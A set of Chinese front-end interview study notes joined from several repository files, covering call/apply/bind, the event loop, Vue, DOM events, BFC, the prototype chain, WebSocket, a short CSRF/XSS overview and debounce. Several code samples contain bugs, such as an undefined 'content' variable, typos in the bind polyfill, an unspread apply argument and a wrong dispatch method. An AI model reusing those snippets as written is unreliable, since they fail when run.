function(context) { if (typeof this !== 'function') { throw new TypeError('not function') } context = context || window context.fn = this // Array.from() 将类数组对象转换为数组对象 const args = Array.from(arguments).slice(1) // ... es6 展开操作符 // ...args ==> 参数列表 const result = context.fn(...args) delete context.fn return result } var a = 'window' var o = { a: 'object', getA: function() { console.log(this.a) } } var getWindowA = o.getA getWindowA() o.getA() getWindowA.myCall(o) ``` ## 手写 apply--参数数组 ```js Function.prototype.myApply = function(context) { // 调用 myApply 必须为函数 if (typeof this !== 'function') { throw new TypeError('not function') } context = context || window context.fn = this const args = Array.from(arguments).slice(1) let result = context.fn(args) delete context.fn return result } var a = 'window' var o = { a: 'object', getA: function() { console.log(this.a) } } var getWindowA = o.getA getWindowA() o.getA() getWindowA.myApply(o) ``` ## 手写 bind ```js Function.prototype.myBind = function(context) { if (typeof this !== 'function') { throw new TypeError('not function') } context = context || window const that = this const args = Array.from(arguments).slice(1) // 返回一个函数 return function F() { // 因为返回了一个函数,可以 new F(),所以需要判断 // 当 F 被用作构造函数时 if (this instanceof F) { // 这里的 arguments 是 F() 内部的 return new that(...args, ...arguments) } // F 当做普通函数调用时 return that.apply(content, args.concat(...arguments)) } } ``` 看看 MDN 关于 bind 的 PolyFill ```js if (!Function.prototype.bind) { Function.prototype.bind = function(needThis) { if (typeof this !== 'function') { throw new TypeError('bind this must be function') } var aArgs = (Array.prototype.slice.call(arguments, 1), fToBind = this, fNOP = function() {}, fBound = function() { // this instanceof fBound === true // 说明返回的 fBound 被当做 new 的构造函数使用 return ftoBind.apply( his instanceof fBound ? this : needThis, // 获取调用时(fBound)的传参,bind 返回的函数入参往往是这么传递的 aArgs.concat(Array.prototype.slice.call(arguments)) ) } // 维护原型关系 if (this.prototype) { // Function.prototype doesn't have a prototype property fNOP.prototype = this.prototype } // 下行的代码使得 fBound.prototype 是 fNOP 的实例 } } ``` ## 自己实现一个 new ```js function myNew(constructorF, ...theArgs) { // 接受一个构造函数作为参数 // ...theArs表示剩余参数 let obj = {} // 获取构造函数的原型对象 obj.__proto__ = constructorF.prototype console.log('参数') console.log(arguments) console.log('截取参数') console.log(theArgs) let result = constructorF.apply(obj, theArgs) return result instanceof Object ? result : obj } ``` <file_sep>/Event-Loop/掘金.md # Event Loop ## 进程和线程的区别 本质上,进程和线程都是**CPU 工作时间片**的描述 进程描述了 CPU 在运行指令、加载保存上下文所需的时间,放在应用上来说就代表了一个程序 线程是进程中更小的单位,描述了执行一段指令所需要的时间 放在浏览器里来说,浏览器是多进程的,每打开一个 Tab 页,其实就是创建了一个进程;而一个进程中可以有多个线程,比如渲染线程、JS 引擎线程、HTTP 请求线程。当浏览器发起一个 HTTP 请求,其实就是创建了一个线程,当请求结束后,这个线程可能就销毁了。 前端开发里,常常说 JS 的运行会阻止 UI 渲染,其实就是 JS 引擎线程和渲染线程是互斥的。为什么设计成互斥呢?那是因为 JS 可以操作 DOM 元素,如果 JS 在执行的时候渲染线程也在工作,就可能导致渲染异常。JS 设计成单线程运行也有其优势,可以节省内存,节约切换上下文的时间。 Maximum call stack size exceed 爆栈错误 JS 代码执行顺序 ```js console.log('script start') async function test1() { await test2() console.log('test001 end') } async function test2() { console.log('test002 end') } test1() setTimeout(() => { console.log('setTimeout') }, 0) new Promise((resolve, reject) => { console.log('new Promise') resolve() }) .then(() => { console.log('promise 001') }) .then(() => { console.log('promise 002') }) console.log('script end') // 执行顺序 // script start // test002 end // new Promise // script end // promise 001 // promise 002 // test001 end // setTimeout ``` 其中就是`async await`函数比较难理解一点,其实`async await`本质上也是用语法糖包装的,就像例子中`test1() test2()`可以用`Promise`包装如下 ```js new Promise((resolve, reject) => { console.log('test002 end') // Promise.resolve() 将代码插入微任务队列尾部 // resolve(Promise.resolve()) 再次将代码插入微任务队列尾部 resolve(Promise.resolve()) }).then(() => { // 在微任务队列的尾部执行 console.log('test001 end') }) ``` Node.js 的 Event Loop 有 6 个阶段 1. timer: timer 阶段会执行`setTimeout`和`setInterval`回调,并且是由 poll 阶段控制的。 2. I/O 阶段: I/O 阶段会处理上一轮循环中**少数未执行的**I/O 回调 3. idle, prepare: idle, prepare 阶段内部实现,这里就忽略不讲了。 4. poll:在进入该阶段时,如果应用当前没有设定 timer(定时器) 的话,那么会发生以下两件事情 - 如果当前的 poll 队列不为空,那么 Node.js 会遍历回调队列任务并且同住执行,直到 poll 队列任务为空或者达到系统限制 - 如果当前的 poll 队列为空,那么 Node.js 会查询应用当前是否设定了`setImmediate`回调,如果有,Node.js 直接跳过当前的 poll 阶段进入到 check 阶段执行`setImmediate`回调;如果没有,那么 Node.js 会等待回调任务加入到当前的 poll 队列并且立即执行,会设置一个超时时间防止无限等待下去 当然,如果应用当前设置了 timer 且 poll 队列为空的话,就会判断 是否有 timer 超时,有的话就会回到 timer 阶段执行回调 所以,poll 是一个至关重要的阶段,这一个阶段当中,系统会做两件事情 1. 回到 timer 阶段执行回调(有 timer 时) 2. 执行 I/O 阶段 的回调(无 timer 时) 5. check: 这个阶段执行`setImmediate`回调 6. close callbacks: lose callbacks 阶段执行 close 事件 <file_sep>/Vue基础知识/Vue基础知识.md # vue.js 常考基础知识点 一些基础知识 ## 生命周期钩子函数 在`beforeCreate`钩子函数调用的时候,是获取不到实例的`data`和`prop`的,因为这些数据的初始化都是在`initState`中 然后会执行钩子函数`created`,这个时候已经可以访问`data`和`prop`,但是这个时候组件还没挂载,所以是看不到的。 接下来会先执行`beforeMount`钩子函数,开始创建 VDOM,最后执行`mounted`钩子,并将 VDOM 渲染为真实的 DOM 并且渲染数据。组件中如果有子组件的话,会递归挂载子组件,只有当所有子组件全部挂载完毕,才会执行根组件的挂载钩子。 接下来是数据更新时会调用的钩子函数`beforeUpdate`和`updated`,这两个钩子函数没有什么好说的,就是分别在在数据更新前和更新后调用的 另外还有`keep-alive`独有的生命周期,分别为`activated`和`deactivated`。用`keep-alive`包裹的组件在切换时不会进行销毁,而是缓存到内存中并执行`deactivated`钩子函数,命中缓存渲染后会执行`activated` 最后就是销毁组件的钩子函数`beforeDestroy`和`destroyed`。前者适合移除事件、定时器等等,否则可能会引起内存泄露的问题。然后进行一系列的销毁操作,如果有子组件的话,也会递归销毁子组件,所有子组件都销毁完毕以后才会执行根组件的`destroyed`钩子函数 ## 组件通信 组件通信一般分为以下几种情况 * 父子组件通信 * 兄弟组件通信 * 跨多层组件通信 * 任意组件通信 以上每种情况都有对应的方法去实现,接下来就是学习如何实现 ### 父子组件通信 父组件通过`props`传递数据给子组件,子组件通过`emit`发送事件传递给父组件,这两种方式是最常用的父子通信实现方法 这种父子组件的通信方式就是典型的数据单向流。父组件通过`props`传递数据,子组件不能直接修改父组件的`props`,而是通过发送事件告知父组件修改。 另外使用`v-model`的组件,默认会解析成 名为`value`的`prop`和名为`input`的事件。这种语法糖的方式是典型的双向绑定,常用于 UI 控件,但是究其根本,也是通过 子组件触发事件通知父组件修改数据 当然,我们还可以通过`$parent`和`$children`对象来访问组件实例中的属性和方法 在 Vue 2.3 以上,还有`$listeners`和`.sync`两个新增属性 `$listeners`属性会将父组件中的`v-on 事件监听器`(不包括`.native`修饰符的)传递给子组件,子组件可以通过访问`$listener`来自定义监听器 `.sync`是个语法糖,可以很简单地实现子组件和父组件的通信 ```html <!-- 父组件 --> <input :value.sync="value" /> ```<file_sep>/DOM事件/knowledge.md # DOM 事件 基本概念:DOM 事件的级别 DOM 事件模型 DOM 事件流 描述 DOM 事件捕获的具体流程 Event 对象的常见应用 自定义事件 ## 基本概念 DOM 事件的级别 1. DOM0--`element.onclick=function() {}` 2. DOM2--`element.addEventListener(eventType, callback, false)`,DOM2 是新增注册事件监听器 API`addEventListener`,IE 则是`attachEvent()` 3. DOM3--`element.addEventListener('keyup', function() {}, false)`,DOM3 是新增了很多事件,比如键盘事件等 ## DOM 事件模型 捕获和冒泡两个阶段 事件发生顺序:window 对象--》document 对象--》html 元素--》body 元素--》目标元素(这个顺序也就是事件捕获顺序) html 元素--`document.documentElement` body 元素--`document.body` ## DOM 事件流 DOM 事件流--浏览器在当前页面与用户做交互的过程中事件发生的顺序 完整的事件流三个阶段 1. 捕获阶段 2. 目标阶段 3. 冒泡阶段 ## 描述 DOM 事件捕获的具体流程 捕获流程:window 对象--》document 对象--》html 元素--》body 元素--》目标元素(这个顺序也就是事件捕获顺序) html 元素--`document.documentElement` body 元素--`document.body` ## Event 对象的常见应用 1. `event.preventDefault()` 阻止默认事件 2. `event.stopPropagation()` 阻止事件冒泡 3. `event.stopImmediatePropagation()` DOM 元素注册了多个事件监听器,在某个时间监听器中调用该行为后,会阻止后续的事件监听器--事件响应优先级 4. `event.target`--发生事件的 DOM 元素 5. `event.currentTarget`--注册了事件监听器的 DOM 元素 ## 自定义事件 ```js // 生成自定义事件的event对象 var eve = new Event('custom-test') // 注册自定义事件的handler dom.addEventListener( 'custom-test', function() { console.log('监听自定义事件') }, false ) // 派发自定义事件 dom.dispatchEvent(eve) // 如果自定义事件还需要考虑传参,那么应该使用 CustomEvent 对象 var customEve = new CustomEvent('custom-test', { name: 'custom-event', level: 2 }) // 注册自定义事件的handler dom.addEventListener( 'custom-test', function(object) { console.log('监听自定义事件') console.log(object) }, false ) // 派发自定义事件 dom.dispatchEvent(eve) ``` 下面看一个完整的例子 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>DOM事件</title> </head> <body> <div id="one"><button id="two">点击生成自定义事件</button></div> </body> <script> var one = document.getElementById('one') var two = document.getElementById('two') var eve = new Event('test') var customEve = new CustomEvent('custom-test', { // bubbles 参数为 true 表示该自定义事件可以冒泡 bubbles: true, detail: { name: 'custom-event' } }) two.addEventListener( 'click', e => { console.log('派发无参数自定义事件 test') e.target.dispatch(eve) setTimeout(() => { console.log('派发可携带参数自定义事件 custom-test') e.target.dispatch(customEve) }, 1000) }, false ) one.addEventListener( 'test', e => { console.log('捕获阶段 监听自定义事件 test') }, true ) one.addEventListener( 'test', e => { console.log('冒泡阶段 监听自定义事件 test') }, false ) one.addEventListener( 'custom-test', e => { console.log('捕获阶段 监听自定义事件 custom-test') console.log(e.detail) }, true ) one.addEventListener( 'custom-test', e => { console.log('冒泡阶段 监听自定义事件 custom-test') console.log(e.detail) }, false ) </script> </html> ``` 实际运行代码发现,通过`new Event()` 生成的自定义事件对象,其事件是不会冒泡的,所以只会被注册在捕获阶段的 handle 处理;而`new CustomEvent()`可以通过设置参数`bubbles`,使得自定义事件可以冒泡 <file_sep>/移动端事件相关问题/移动端页面点击穿透问题分析与解决.md # 移动端页面点击穿透分析与解决 ## 移动端的 click 为什么有 300ms 的延迟 这个要追溯到苹果公司的首款 iPhone 的发布。发布之前苹果公司遇到了一个问题:当时所有的网站都是为大屏幕设备所涉及的,那么怎么让小屏幕的 iPhone 也有良好的网站体验呢?于是苹果的工程师们就做了一些约定,专门来优化小屏幕设备访问网站的体验。 这些约定中最出名的,当属双击缩放(double tap to zoom),这是移动端点击事件会有 300ms 延迟的主要原因 双击缩放,顾名思义,即用手指在屏幕上快速点击两次,那么 iOS 系统自带的 Safari 浏览器会将网页缩放至原始比例。假定现在有这么一个场景,用户使用 Safari 浏览器在网页里点击了一个链接,由于用户可以进行双击缩放或者双击滚动的操作,当用户点击了一次屏幕以后,浏览器并不能立刻判断用户是要打开这个链接,还是要进行双击操作。因此,iOS Safari 就等待 300 毫秒,以判断用户是否再次点击了屏幕。鉴于 iPhone 的成功,其他移动浏览器都复制了 iPhone Safari 浏览器的多数约定,包括双击缩放,现在几乎所有的移动端浏览器都有这个双击缩放功能 人们刚刚接触移动端的页面的时候,不太在意这个 300ms 的延时问题,可是如今 touch 端界面如雨后春笋,用户对体验的要求也更高了,这 300ms 带来的卡顿慢慢变得让人难以接受。 总结来说就是,移动端浏览器会有一些默认的行为,比如双击缩放、双击滚动。这些行为,尤其是双击缩放,主要是为桌面网站在移动端的浏览体验设计的。而在用户对页面进行操作的时候,移动端浏览器会优先判断用户是否要触发默认的行为。 ## 300ms 延迟解决方案 一般使用 FastClick 。FastClick 是 FT Labs 专门为解决移动端 300ms 点击延迟问题所开发的一个轻量级 js 库。FastClick 的实现原理就是在监测到移动端浏览器的`touchend`事件的时候,会通过 DOM 自定义的事件(`new Event()`或者`new CustomEvent()`)立即模拟一个`click`事件,并把浏览器在 300ms 之后延迟的 `click` 事件给阻止掉 ## 移动端点击穿透 什么是点击穿透呢?假如页面上有两个元素 A 和 B。B 元素在 A 元素上,我们给 B 元素的`touchstart`事件注册了一个回调函数,该回调函数的作用是隐藏 B 元素。当我们点击 B 元素时,我们会发现,B 元素被因此那个了,但是随后 A 元素也触发了`click`事件 这是因为在移动端浏览器,事件执行的顺序是`touchstart` > `touchend` > `click`。而`click`事件有 300ms 的延迟,当`touchstart`事件把 B 元素隐藏之后,隔了 300ms ,浏览器触发了`click`事件,但是此时 B 元素不见了,所以该事件被派发到了 A 元素身上。如果 A 元素是一个链接,那此时页面就会意外地跳转。 <file_sep>/数据结构/常用的数据结构.md # 常用的数据结构 ## 线性表 线性表是数据的逻辑结构,元素之间是一对一关系。任何一个线性表当中,任何元素的前一个或者是后一个都只有一个元素,不会出现一个元素的前后对应多个元素的情况。 线性表可分为一般线性表和受限线性表。数组就是常见的一般线性表,而受限表则是栈和队列 JS 用数组模拟栈 ```js function Stack() { // 用 let 创建一个私有容器 let dataStore = [] // 模拟进栈的方法 this.push = function(element) { dataStore.push(element) } // 模拟出栈的方法,返回值是出栈元素 this.pop = function() { return dataStore.pop() } // 返回栈顶元素 this.peek = function() { return dataStore[dataStore.length - 1] } // 是否为空栈 this.isEmpty = function() { return dataStore.length === 0 } // 获取栈结构的长度 this.size = function() { return dataStore.length } // 清除栈结构内的元素 this.clear = function() { dataStore = [] } } ``` <file_sep>/BFC/knowledge.md # BFC 常用来解决边距重叠的问题 ## 基本概念 块级格式化上下文。还有个 IFC,同理可理解 ## 原理(即 BFC 渲染规则) 1. 垂直方向上的外边距重叠只会发生在属于同一 BFC 区域 的块级元素之间 2. BFC 区域 不会与浮动区域的块级元素重叠 3. BFC 区域 是一个独立的容器 4. 计算 BFC 容器 高度时,其内部的浮动元素也会参与计算 ## 如何创造 BFC 1. 根元素或包含根元素的元素 2. 浮动元素(元素的 float 不是 none) 3. 绝对定位元素(元素的 position 为 absolute 或 fixed 4. 行内块元素(元素的 display 为 inline-block) 5. 表格单元格(元素的 display 为 table-cell,HTML 表格单元格默认为该值 6. 表格标题(元素的 display 为 table-caption,HTML 表格标题默认为该值 7. 匿名表格单元格元素(元素的 display 为 table、table-row、 table-row-group、table-header-group、table-footer-group(分别是 HTML table、row、tbody、thead、tfoot 的默认属性)或 inline-table) 8. overflow 不为 visible 9. display 值为 flow-root 10. contain 值为 layout content 或 strict 11. 弹性元素 12. 网格元素 13. 多列容器--(元素的 column-count 或 column-width 不为 auto,包括 column-count 为 1) 14. column-span 为 all 的元素始终会创建一个新的 BFC,即使该元素没有包裹在一个多列容器中 ## BFC 应用场景 清除浮动 父子边距重叠 兄弟边距重叠 <file_sep>/通信类/server.js // node 起一个 web 服务器 let http = require('http') let fs = require('fs') let url = require('url') let port = process.argv[2] if (!port) { console.log('请指定端口\n -- node server.js 8888') process.exit() } let server = http.createServer((request, response) => { // 解析客户端请求路径 let parsedUrl = url.parse(request.url, true) // 解构 取参 let { pathname, query, method } = parsedUrl console.log('解析后的路径参数--', parsedUrl) // 需要返回给客户端的数据(字符串) let string if (pathname === '/index.html') { console.log('正在访问首页') string = fs.readFileSync('index.html', 'utf-8') response.setHeader('Content-Type', 'text/html') response.write(string) response.end() } if (pathname === '/ajax.js') { string = fs.readFileSync('ajax.js', 'utf-8') response.setHeader('Content-Type', 'text/javascript') response.write(string) response.end() } if (pathname === '/b.html') { string = fs.readFileSync('b.html', 'utf-8') response.setHeader('Content-Type', 'text/html') response.write(string) response.end() } if (pathname === '/e.html') { string = fs.readFileSync('e.html', 'utf-8') response.setHeader('Content-Type', 'text/html') response.write(string) response.end() } if (pathname === '/cross_site_request') { // string = 'sss' readRequestBody(request).then(data => { let strings = data.split('&') console.log('请求端POST数据--', strings) // string = `${query.callback}.call(undefined, { // "title": "JSONP -- 跨域", // "origin": "192.168.199.131:8080", // "response": "192.168.199.131:8888" // })` string = `{ "type": "ajax", "name": "192.168.131.199" }` response.statusCode = 200 response.setHeader('Content-Type', 'application/json') response.write(string) response.end() }) } function readRequestBody(request) { return new Promise((resolve, reject) => { let body = [] request.on('data', (chunk) => { // chunk 数据块 console.log('数据块', chunk) body.push(chunk) }).on('end', () => { body = Buffer.concat(body).toString() resolve(body) }) }) } }) server.listen(port) console.log(`监听${port}成功,请访问http://192.168.199.131:${port}`)<file_sep>/原型链/knowledge.md # 原型链 创建对象有几种方法 原型、构造函数、实例、原型链 `instanceof` 原理 new 运算符 ## 创建对象有几种方法 看代码 ```js // 第一类 var o1 = { name: 'o1' } var o11 = new Object({ name: 'o111' }) // 第二类 var M = function(name) { this.name = name } var o2 = new M('o2') // 第三类 var P = { name: 'o3' } var o3 = Object.create(P) ``` ## 原型、构造函数、实例、原型链 `构造函数.prototype` ==> 原型对象 `原型对象.constructor` ==> 构造函数 `实例.__proto__` ==> 原型对象 `new 构造函数()` ==> 实例 原型链 `原型对象.__proto__` ==> 原型对象的原型对象 原型链顶端 `Object.prototype.__proto__ === null // true` ## instanceof 运算符 `instanceof`的原理就是判断实例的`__proto__`属性的引用原型对象和构造函数`prototype`属性引用的原型对象是不是同一个 但是,如果由于原型链的机制,会有以下结果 ```js var arr = ['1', '2', '3'] arr instanceof Array // true arr instanceof Object // true arr.__proto__ === Array.prototype // true Array.prototype.__proto__ === Object.prototype // true // 所以 重点注意 arr instanceof Object // true ``` 所以当存在继承时,`instanceof`操作符会无法判断实例到底是由那个构造函数实例化的 这个时候使用构造函数的`constructor`效果会比较好,看代码 ```js arr.__proto__.constructor === Array // true arr.__proto__.constructor === Object // false ``` ## new 运算符 `new F()`运算符执行时 1. 生成一个空对象,空对象.****proto**** ==> F.prototype 2. F() 执行,相应的参数会被传入,同时 this 被指定为第一步的空对象,接着开始执行构造函数里面的代码(比如给空对象添加属性、添加方法什么的)。假设你不传任何参数,那么`new F` 和 `new F()` 是等同的 3. 如果构造函数的执行结果是返回了一个'对象',那么这个返回值会取代之前 1、2 步骤 new 出来的对象;如果构造函数没有返回'对象',那么之前 1、2 步骤 new 出来的对象回作为 new 运算符的返回值 简易模拟`new`的实现(构造函数没传参的情况) ```js function myNew(F) { var o = Object.create(F.prototype) var k = F.call(o) if (typeof k === 'object') { return k } else { return o } } ``` <file_sep>/CSS盒模型/knowledge.md # CSS 盒模型 基本概念:标准模型 + IE 模型 标准模型和 IE 模型的区别 CSS 如何设置这两种模型 JS 如何设置获取盒模型对应的宽和高 实例题(根据盒模型解释边距重叠的问题) BFC(边距重叠解决方案) ## 基本概念 width height padding border margin ## 标准模型和 IE 模型的区别 标准模型:width = content 的 width IE 模型:width = content 的 width + padding + border ## CSS 如何设置这两种模型 ```css { /* 标准模型 */ box-sizing: content-box; /* IE模型 */ box-sizing: border-box; } ``` 浏览器默认使用标准模型 ## JS 如何设置获取盒模型对应的宽和高 首先,CSS 的引入到`html`方式: 1. 内联 CSS,通过 DOM 元素的`style`属性写入 2. `<style></style>`标签写入 3. 外联 CSS,通过`link`标签--`<link href="style.css" rel="stylesheet">` 获取元素的 CSS 宽高的常用 API 1. `dom.style.width/height`--这种方式只能取到内联 CSS 设置的 DOM 元素宽高,不是很准确 2. `dom.currentStyle.width/height`--获取运行渲染后的 DOM 元素宽高,准确性高,但是只有 IE 支持(摒弃) 3. `window.getComputedStyle(dom).width/height`--获取运行渲染后的 DOM 元素宽高,兼容性好 4. `dom.getBoundingClientRect().width/height`--返回值是一个`DOMRect` 对象,这个对象是由该元素的 `getClientRects()` 方法返回的一组矩形的集合, 即:是与该元素相关的 CSS 边框集合(很冷门的 API,之所以冷门,是因为名字太长)`DOMRect`对象包含了一组用于描述边框的只读属性——`left、top、right、bottom`,单位为像素。除了 `width` 和 `height` 外的属性都是相对于视口的左上角位置而言的。 ## 实例题(根据盒模型解释边距重叠的问题) 看代码 ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>CSS盒模型</title> <style> html * { margin: 0; padding: 0; } </style> </head> <body> <section id="sec" class="parent"> <style media="screen"> .parent { background: red; } .child { height: 100px; margin-top: 10px; background: blue; } </style> <article class="child"></article> </section> </body> </html> ``` 在浏览器中审查元素,会发现`section`元素高度只有100px,这里是父子元素的边距重叠。除了父子元素的边距重叠,还会有兄弟元素的垂直方向上的边距重叠。 给`section`元素增加一个css样式`overflow: hidden;`,就会发现边距重叠的问题解决了。<file_sep>/MVVM框架-双向绑定/掘金文章详解双向绑定.md # MVVM 框架数据双向绑定的原理 Vue 的数据双向绑定的原理,主要是通过**Object.defineProperty(obj, key, descriptor)这个方法,重写 data(数据对象)的 get 和 set 函数** <file_sep>/WebSocket协议/knowledge.md # WebSocket 协议 ## 来源 WebSocket 是 HTML5 标准中出的协议,也就是 HTTP 协议没有变化 因为 HTTP 是不支持持久连接的(长连接、循环连接不能划分到这里说的持久连接)。HTTP 协议有 1.0 和 1.1,其中 HTTP/1.1 支持`Connection: keep=alive`,也就是支持把多个 HTTP 请求应答放在一个连接里完成。 而 WebSocket 则是一个新的协议,跟 HTTP 协议基本没有关系,设计时只是兼容了现有浏览器的握手规范。下面一张图可以用来形容 WebSocket 和 HTTP 的关系 ![WebSocket and HTTP](https://pic1.zhimg.com/80/6651f2f811ec133b0e6d7e6d0e194b4c_hd.jpg) 这两种存在交集,但也有很多不同的地方 另外 HTML5 指的是一系列新的 API,或者说新规范或新技术 ## WebSocket 的特点 相对于 HTTP 这种非持久化协议来说,WebSocket 是一个持久化协议 HTTP 的生命周期通过 Request 来界定,一个 Request 对应一个 Response,那么在 HTTP/1.0 中,这次的 HTTP 请求就结束了,如果发起新的请求那么就要重新建立 HTTP 连接。而在 HTTP/1.1 中,通过`keep-alive`实现了,在一个 HTTP 连接当中,可以有多个 Request 和多个 Response,但是 Request 和 Response 还是一一对应的,而且 response 是服务器被动给出的,不能主动发起 而 WebSocket 是基于 HTTP 的,或者说借用了 HTTP 协议来完成一部分握手 来看个典型的 WebSocket 握手 ```http GET /chat HTTP/1.1 host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 ``` 熟悉 HTTP 请求报文的会发现,这段报文中出现了几个新的东西 ```http Upgrade: websocket Connection: Upgrade ``` 这两个请求头,是告诉`Apache 、Nginx`等 web 服务器,客户端这次发起的是`WebSocket`请求,请用`WebSocket`协议来处理,而不是`HTTP` ```http Sec-WebSocket-key: <KEY> Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 ``` 这三个请求头,各有以下作用: - Sec-WebSocket-key -- 是浏览器随机生成的一个 Base64 encode 的值,用来验证 web 服务器 是不是用`WebSocket`协议在处理 - Sec-WebSocket-Protocol -- 用户自定义的字符串,用来区分同 URL 下,不同的服务所需要的协议 - Sec-WebSocket-Version -- 用来告诉服务器,需要用什么版本的`WebSocket`协议。 然后,服务器会返回以下东西,表示已经收到请求,并且成功建立`WebSocket` ```http HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= Sec-WebSocket-protocol: chat ``` 这两个响应头 ```http Upgrade: websocket Connection: Upgrade ``` 告诉客户端,服务器已经切换协议了 然后,Sec-WebSocket-Accept 这个则是经过服务器确认,并且加密过后的 Sec-WebSocket-Key。服务器:好啦好啦,知道啦,给你看我的 ID CARD 来证明行了吧。。后面的,Sec-WebSocket-Protocol 则是表示最终使用的协议 至此,HTTP 协议完成了它的全部工作,接下来的通信则是完全按照 WebSocket 协议来进行了 ## WebSocket 的应用场景 WebSocket 实现的是通信持久化,以及服务器主动推送消息给客户端。在此之前,`long poll` 和 ajax 轮询 也可以实现类似的效果 ajax 轮询 -- 让浏览器隔个几秒就发送一次请求,询问服务器是否有新消息,场景如下 ```js // 客户端:啦啦啦,有没有新信息(Request) // 服务端:没有(Response) // 客户端:啦啦啦,有没有新信息(Request) // 服务端:没有。。(Response) // 客户端:啦啦啦,有没有新信息(Request) // 服务端:你好烦啊,没有啊。。(Response) // 客户端:啦啦啦,有没有新消息(Request) // 服务端:好啦好啦,有啦给你。(Response) // 客户端:啦啦啦,有没有新消息(Request) // 服务端:。。。。。没。。。。没。。。没有(Response) ``` long poll -- 也是采用轮询的模式,不过采取‘阻塞模型’(一直打电话,没有回复就不挂断,有回复才挂断;挂断以后再隔几秒,继续打电话。重复这个过程)也就是说,客户端发起连接后,如果没消息,服务器就一直不返回 Response 给客户端。直到有消息才返回,返回完之后,客户端再次建立连接,周而复始,场景如下 ```js // 客户端:啦啦啦,有没有新信息,没有的话就等有了才返回给我吧(Request) // 服务端:额。。 等待到有消息的时候。。来 给你(Response) // 客户端:啦啦啦,有没有新信息,没有的话就等有了才返回给我吧(Request) ``` 通过以上对 ajax 轮询 和 long poll 描述可以看出,这两种方式都是不断地在建立 HTTP 连接,然后等待服务端处理,可以体现 HTTP 协议的被动性这一特点。所谓被动性,就是服务端无法主动联系客户端,只能由客户端发起通信。简单地来说,服务器就是一个很懒的冰箱,不会、不能主动发起连接,但是有规定,如果有客户来,那么不管多累都要好好接待。 那么以上两种方式的缺陷也就很明显了--无论怎么样,ajax 轮询 和 long poll 都是非常消耗资源的:ajax 轮询 需要服务器拥有很快的处理速度和资源(因为每个请求都要回复);long poll 则需要服务器有很高的并发能力(有可能一下子多个客户端和服务器产生长连接) 所以,无论是 ajax 轮询,还是 long poll 都有可能发生以下的情况 ```js // 客户端:啦啦啦啦,有新信息么? // 服务端:月线正忙,请稍后再试(503 Server Unavailable) // 客户端:。。。。好吧,啦啦啦,有新信息么? // 服务端:月线正忙,请稍后再试(503 Server Unavailable) ``` 也就是服务器速度、资源、并发能力不的情况下,产生的宕机。还有一点要提的是,HTTP 是一个无协议状态,通俗地来讲,服务器因为每天接待的客户太多,是个“健忘鬼”,客户端一挂电话,服务器就把客户端的东西忘光了,客户端再次打电话进来时,得走验证程序证明自己是哪一个客户端 而 WebSocket 协议的出现,正好解决了以上缺陷 首先是 HTTP 协议“被动性”问题,当服务器按照客户端请求的要求升级到 WebSocket 协议后,服务器就可以主动推送消息给客户端了。只需要经过一次 HTTP 请求,就可以做到源源不断的消息传送(在程序设计中,这种设计叫做回调,即:你有了信息再来通知我,而不是我傻乎乎地每次跑来问你的情况)。这样的协议解决了上面同步有延迟的问题,顺便也舒缓了服务器资源的消耗 为什么能够舒缓服务器资源消耗呢?其实我们平常所用的程序是要经过两层代理的,即`HTTP协议`在`Apache、Nginx`等服务器的解析下,然后再传送给相应的 Handler(PHP、Java 等)来处理。通俗地来讲,我们有一个非常快速的接线员(Nginx),他负责把客户的请求(HTTP Request)转给相应的客服(PHP)来处理。本身接线员(Nginx)提交问题的速度是足够的,但是会卡在客服(PHP)处理问题的环节,老有客服处理问题的速度不够快(代码太烂、算法太烂等等),导致显得客服人手不够。 而采用 WebSocket 协议通信后,客户端可以通过 WebSocket 直接跟接线员(Nginx)建立建立持久连接,有信息的时候客服想办法通知接线员,然后接线员统一转交给客户端,这样有助于缓解客服处理速度过慢的问题 同时,在 HTTP 协议通信上,要不断的建立、关闭 HTTP 连接,由于 HTTP 是无状态的,所以每次建立新连接时,都需要重新传输 identify info (类似身份信息),来告诉服务端你是谁。 虽然接线员速度很快,但是每次新连接就要验证这么一堆身份信息,效率也会有所下降的。同时还需要把这些信息转交给客服,不但浪费客服的处理时间,而且还会在网路传输中消耗过多的流量/时间。但是 Websocket 只需要一次 HTTP 握手,所以说整个通讯过程是建立在一次连接/状态中,也就避免了 HTTP 的非状态性,服务端会一直知道你的信息,直到你关闭请求,这样就解决了接线员要反复解析 HTTP 协议,还要查看 identity info 的信息。同时由客户主动询问,转换为服务器(推送)有信息的时候就发送(当然客户端还是等主动发送信息过来的。。),没有信息的时候就交给接线员(Nginx),不需要占用本身速度就慢的客服(Handler)了 <file_sep>/安全类/knowledge.md # 安全类 前端安全分类就两种: - CSRF - XSS 答题方向--基本概念、攻击原理、防御措施 ## CSRF ### CSRF-基本概念 CSRF--Cross-Site-Request-Forgery,跨站请求伪造,依赖用户的登陆状态 ### CSRF-攻击原理 见图解 ### CSRF-防御 Token 验证,浏览器应该携带一个本地的 Token,访问网站接口没有 Token 的话不允许访问 Referer 验证,验证请求的来源,如果不是同源网页中的请求或者不是被允许的跨域的源的请求,统统拒绝 隐藏令牌,HTTP 请求头添加自定义头部,服务器来验证 ## XSS ### XSS-基本概念 XSS,Cross-Site-Script,跨域脚本攻击 ### XSS-攻击原理 核心原理--页面注入脚本,比如评论区 ### XSS-防御 核心宗旨--避免用户输入内容称为可执行代码,过滤 ## CSRF 和 XSS 的区别 攻击方式不一样,厘清基本概念就好 <file_sep>/函数防抖与节流/debounce.js // 函数防抖原理 // 事件触发后,一定在 N 秒后才执行事件处理函数 // 如果事件触发后的 N 秒内,又有新的事件触发了 // 那么再以新事件触发 N 秒后,才执行事件处理函数 // 总之就是无论触发多少次事件,总要在最新触发的那次事件的 N 秒后,才执行事件处理函数 function debounce1(callback, wait) { let timer; return function () { clearTimeout(timer); timer = setTimeout(() => { callback.apply(this, arguments) }, wait) } } // 有时候会有个需求 // 